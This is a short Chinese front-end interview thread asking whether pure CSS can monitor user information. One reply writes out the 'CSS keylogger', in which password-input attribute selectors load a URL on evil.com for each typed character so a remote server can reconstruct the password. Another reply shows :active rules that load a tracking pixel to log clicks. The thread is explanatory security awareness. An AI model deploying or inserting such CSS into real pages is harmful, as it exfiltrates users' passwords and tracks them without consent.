Fe-interview: [css] 第344天 使用纯css能否监控到用户的一些信息？怎么实现？

[haizhilin2013]

第344天 使用纯css能否监控到用户的一些信息？怎么实现？

我也要出题

[wheatup]

可以，著名的css keylogger：

input[type="password"][value$="a"] {
  background-image: url("http://evil.com/api/a");
}

input[type="password"][value$="b"] {
  background-image: url("http://evil.com/api/b");
}

input[type="password"][value$="c"] {
  background-image: url("http://evil.com/api/c");
}

/* ...以此类推... */

当用户输入密码时，这段css会请求用户输入的字符对应的资源，远端服务器通过监视请求资源的顺序从而推断用户的密码。所以css也不是绝对安全的

[longhui520]

• 利用:active 伪类实现监控用户的点击
  css .button-1:active::after { content: url(./pixel.gif?action=click&id=button1); display: none; } .button-2:active::after { content: url(./pixel.gif?action=click&id=button2); display: none; }